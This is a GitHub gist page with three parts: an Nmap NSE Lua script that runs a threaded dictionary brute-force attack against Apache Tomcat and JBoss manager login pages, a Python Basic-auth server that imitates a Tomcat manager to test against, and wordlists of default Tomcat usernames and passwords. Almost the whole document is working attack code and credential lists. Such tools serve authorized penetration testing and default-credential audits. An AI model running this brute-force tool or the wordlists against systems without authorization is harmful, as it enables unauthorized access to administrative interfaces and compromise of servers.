Skip to content

Instantly share code, notes, and snippets.

@initbrain
Last active November 29, 2021 07:11
Show Gist options
  • Save initbrain/493affe58d7dc08b498b to your computer and use it in GitHub Desktop.
Save initbrain/493affe58d7dc08b498b to your computer and use it in GitHub Desktop.
Nmap NSE script that performs a dictionary/bruteforce attack over login and password fields of Apache Tomcat default web management pages
local shortport = require "shortport"
local http = require "http"
local stdnse = require "stdnse"
local brute = require "brute"
local creds = require "creds"
description = [[
Performs a dictionary/bruteforce attack over login and password fields of Apache Tomcat default web management pages.
]]
---
-- @usage
-- ./nmap --script http-tomcat-manager --script-args 'brute.firstonly=false,threads=8,passdb=tomcat-passdb.txt,userdb=tomcat-userdb.txt' 192.168.1.23
--
-- @output
-- PORT STATE SERVICE
-- 631/tcp open ipp
-- 8080/tcp open http-proxy
-- | http-tomcat-manager:
-- | Accounts:
-- | admtomcatin:OvW*busr1 - URI=/manager/html STATUS=200
-- |_ root:toor - URI=/manager/html STATUS=200
--
--
-- @args hostname Sets hostname header.
-- @args threads Sets number of concurrent threads. Default: 3
--
-- Other useful arguments when using this script are:
-- * http.useragent = String - User Agent used in HTTP requests
-- * brute.firstonly = Boolean - Stop attack when the first credentials are found
-- * brute.mode = user/creds/pass - Username password iterator
-- * passdb = String - Path to password list
-- * userdb = String - Path to user list
---
author = "Julien Deudon (initbrain)"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"default", "auth", "intrusive"}
portrule = shortport.http
local DEFAULT_THREAD_NUM = 3
---
--This class implements the Driver class from the Brute library
---
Driver = {
new = function(self, host, port, uri, options)
local o = {}
setmetatable(o, self)
self.__index = self
o.host = nmap.registry.args['hostname'] or host
o.port = port
o.uri = uri
o.options = options
return o
end,
connect = function( self )
return true
end,
login = function(self, username, password)
local credentials = {username = username, password = password}
local response = http.get(self.host, self.port, self.uri, {auth = credentials, no_cache = true})
stdnse.print_debug(2, "HTTP GET %s%s returned status %d", self.host, self.uri, response.status)
if response.status ~= 401 and response.status ~= 403 and response.status ~= 404 then
if (not( nmap.registry['credentials'])) then
nmap.registry['credentials'] = {}
end
if (not( nmap.registry.credentials['http'])) then
nmap.registry.credentials['http'] = {}
end
table.insert(nmap.registry.credentials.http, {username = username, password = password})
return true, creds.Account:new(username, password, "URI=" .. self.uri .. " STATUS=" .. response.status)
end
return false, brute.Error:new("Incorrect password")
end,
disconnect = function( self )
return true
end,
check = function( self )
local response = http.get(self.host, self.port, self.uri)
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
-- Check if www-authenticate field is there
if response.status == 401 and response.header["www-authenticate"] then
stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
return true
else
stdnse.print_debug(1, "Initial check failed. www-authenticate header wasn't found")
end
return false
end
}
---
--MAIN
---
function table.removekey(table, key)
local element = table[key]
table[key] = nil
return element
end
action = function(host, port)
local status, engine, result
local thread_num = nmap.registry["threads"] or DEFAULT_THREAD_NUM
-- TODO get URIs form a file with the NSE script parameter "uridb" like "userdb" and "passdb"
uriTable = {'/status', '/admin', '/web-console', '/jmx-console', '/admin-console', '/manager/html', '/tomcat/manager/html', '/host-manager/html', '/server-manager/html', '/web-console/Invoker', '/jmx-console/HtmlAdaptor', '/invoker/JMXInvokerServlet'}
for i, uri in ipairs(uriTable) do
local resultpart
engine = brute.Engine:new(Driver, host, port, uri)
engine:setMaxThreads(thread_num)
engine.options.script_name = SCRIPT_NAME
status, result = engine:start()
end
-- False statistics due to the URI iterator...
if result ~= nil then
table.removekey(result, "Statistics")
end
return result
end
import BaseHTTPServer
from SimpleHTTPServer import SimpleHTTPRequestHandler
import sys
import base64
requestcounter = 0
key1 = ""
key2 = ""
class AuthHandler(SimpleHTTPRequestHandler):
''' Main class to present webpages and authentication. '''
def do_HEAD(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_AUTHHEAD(self):
self.send_response(401)
self.send_header('WWW-Authenticate', 'Basic realm=\"Tomcat Manager Application\"')
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
global key
global requestcounter
requestcounter+=1
print "-"*50
print "requestcounter="+str(requestcounter)
print self.headers.getheader('User-agent')
''' Present frontpage with user authentication. '''
if self.headers.getheader('Authorization') == None:
self.do_AUTHHEAD()
self.wfile.write('no auth header received')
print 'no auth header received'
pass
elif self.headers.getheader('Authorization') == 'Basic '+key1 \
or self.headers.getheader('Authorization') == 'Basic '+key2:
SimpleHTTPRequestHandler.do_GET(self)
print 'authenticated'
print base64.b64decode(self.headers.getheader('Authorization')[6:])
pass
else:
self.do_AUTHHEAD()
self.wfile.write(self.headers.getheader('Authorization'))
self.wfile.write('not authenticated')
print 'not authenticated'
print base64.b64decode(self.headers.getheader('Authorization')[6:])
pass
def test(HandlerClass = AuthHandler, ServerClass = BaseHTTPServer.HTTPServer):
BaseHTTPServer.test(HandlerClass, ServerClass)
if __name__ == '__main__':
if len(sys.argv)<4:
print "usage SimpleAuthServer.py [port] [username1:password1] [username2:password2]"
sys.exit()
key1 = base64.b64encode(sys.argv[2])
key2 = base64.b64encode(sys.argv[3])
test()
123123
123321
1234
12345
123456
12345678
1234578
admin
ADMIN
changeit
changeme
changethis
j2deployer
j5Brn9
kdsxc
manager
OvW*busr1
owaspbwa
password
password1
Password1
QLogic66
r00t
role1
root
s3cret
secret
tomcat
toor
xampp
admin
ADMIN
admtomcatin
both
cxsdk
j2deployer
manager
ovwebusr
QCC
role
role1
root
tomcat
xampp
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment